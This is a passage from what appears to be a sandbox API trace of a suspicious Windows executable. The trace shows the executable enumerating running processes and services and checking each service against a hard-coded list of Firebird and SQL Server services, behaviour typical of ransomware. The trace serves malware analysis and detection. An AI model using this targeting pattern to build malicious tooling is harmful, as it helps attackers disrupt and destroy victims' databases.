th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0179.712] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0179.712] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0179.712] lstrlenW (lpString="Memory Compression") returned 18 [0179.712] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0179.712] lstrlenW (lpString="sihost.exe") returned 10 [0179.712] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.713] lstrlenW (lpString="svchost.exe") returned 11 [0179.713] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0179.713] lstrlenW (lpString="taskhostw.exe") returned 13 [0179.713] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0179.714] lstrlenW (lpString="msoia.exe") returned 9 [0179.714] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.714] lstrlenW (lpString="explorer.exe") returned 12 [0179.714] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0179.715] lstrlenW (lpString="SearchUI.exe") returned 12 [0179.715] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0179.715] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0179.715] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0179.715] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0179.715] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0179.716] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0179.716] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0179.716] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0179.716] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0179.717] lstrlenW (lpString="cmd.exe") returned 7 [0179.717] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0179.717] lstrlenW (lpString="conhost.exe") returned 11 [0179.717] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0179.717] CloseHandle (hObject=0x3fc) returned 1 [0179.718] Sleep (dwMilliseconds=0x1f4) [0180.491] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3d3ee60 [0180.491] EnumServicesStatusExW (in: hSCManager=0x3d3ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0180.492] GetLastError () returned 0xea [0180.492] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x44798a0 [0180.492] EnumServicesStatusExW (in: hSCManager=0x3d3ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44798a0, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44798a0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0180.493] CloseServiceHandle (hSCObject=0x3d3ee60) returned 1 [0180.493] lstrlenW (lpString="AppXSvc") returned 7 [0180.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0180.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0180.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0180.493] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0180.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0180.493] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0180.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0180.493] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0180.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0180.493] lstrlenW (lpString="Audiosrv") returned 8 [0180.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0180.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0180.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0180.494] lstrlenW (lpString="BFE") returned 3 [0180.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0180.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0180.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0180.494] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0180.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0180.494] lstrlenW (lpString="CDPSvc") returned 6 [0180.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0180.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0180.494] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0180.494] lstrlenW (lpString="ClickToRunSvc") returned 13 [0180.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0180.494] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0180.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.494] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0180.494] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0180.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0180.495] lstrlenW (lpString="CryptSvc") returned 8 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0180.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0180.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0180.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0180.495] lstrlenW (lpString="DcomLaunch") returned 10 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0180.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0180.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0180.495] lstrlenW (lpString="DeviceAssociationService") returned 24 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0180.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0180.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0180.495] lstrlenW (lpString="Dhcp") returned 4 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0180.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0180.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0180.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0180.495] lstrlenW (lpString="Dnscache") returned 8 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0180.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0180.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0180.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0180.495] lstrlenW (lpString="DPS") returned 3 [0180.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0180.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0180.496] lstrlenW (lpString="DsmSvc") returned 6 [0180.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0180.496] lstrlenW (lpString="DusmSvc") returned 7 [0180.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0180.496] lstrlenW (lpString="EventLog") returned 8 [0180.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0180.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0180.496] lstrlenW (lpString="EventSystem") returned 11 [0180.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0180.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0180.496] lstrlenW (lpString="FontCache") returned 9 [0180.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0180.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0180.496] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0180.496] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0180.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0180.497] lstrlenW (lpString="gpsvc") returned 5 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0180.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0180.497] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0180.497] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0180.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0180.497] lstrlenW (lpString="iphlpsvc") returned 8 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.497] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0180.497] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0180.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0180.497] lstrlenW (lpString="KeyIso") returned 6 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0180.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0180.497] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0180.497] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0180.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0180.497] lstrlenW (lpString="LanmanServer") returned 12 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0180.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0180.497] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0180.497] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0180.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0180.497] lstrlenW (lpString="LanmanWorkstation") returned 17 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.497] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0180.497] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0180.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0180.497] lstrlenW (lpString="lfsvc") returned 5 [0180.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0180.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0180.498] lstrlenW (lpString="lmhosts") returned 7 [0180.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0180.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0180.498] lstrlenW (lpString="LSM") returned 3 [0180.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0180.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0180.498] lstrlenW (lpString="MpsSvc") returned 6 [0180.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0180.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0180.498] lstrlenW (lpString="NcbService") returned 10 [0180.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0180.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0180.498] lstrlenW (lpString="netprofm") returned 8 [0180.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0180.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0180.498] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0180.498] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0180.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0180.499] lstrlenW (lpString="NgcSvc") returned 6 [0180.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0180.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0180.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0180.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0180.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0180.499] lstrlenW (lpString="NlaSvc") returned 6 [0180.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0180.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0180.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0180.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0180.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0180.499] lstrlenW (lpString="nsi") returned 3 [0180.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0180.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0180.571] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0180.571] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0180.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0180.571] lstrlenW (lpString="PcaSvc") returned 6 [0180.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0180.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0180.571] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0180.571] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0180.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0180.571] lstrlenW (lpString="PlugPlay") returned 8 [0180.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0180.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0180.571] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0180.571] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0180.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0180.571] lstrlenW (lpString="Power") returned 5 [0180.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0180.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0180.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0180.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0180.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0180.572] lstrlenW (lpString="ProfSvc") returned 7 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0180.572] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0180.572] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0180.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0180.572] lstrlenW (lpString="RpcEptMapper") returned 12 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.572] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0180.572] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0180.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0180.572] lstrlenW (lpString="RpcSs") returned 5 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0180.572] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0180.572] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0180.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0180.572] lstrlenW (lpString="SamSs") returned 5 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0180.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0180.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0180.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0180.572] lstrlenW (lpString="Schedule") returned 8 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0180.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0180.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0180.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0180.572] lstrlenW (lpString="SecurityHealthService") returned 21 [0180.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0180.573] lstrcmpiW 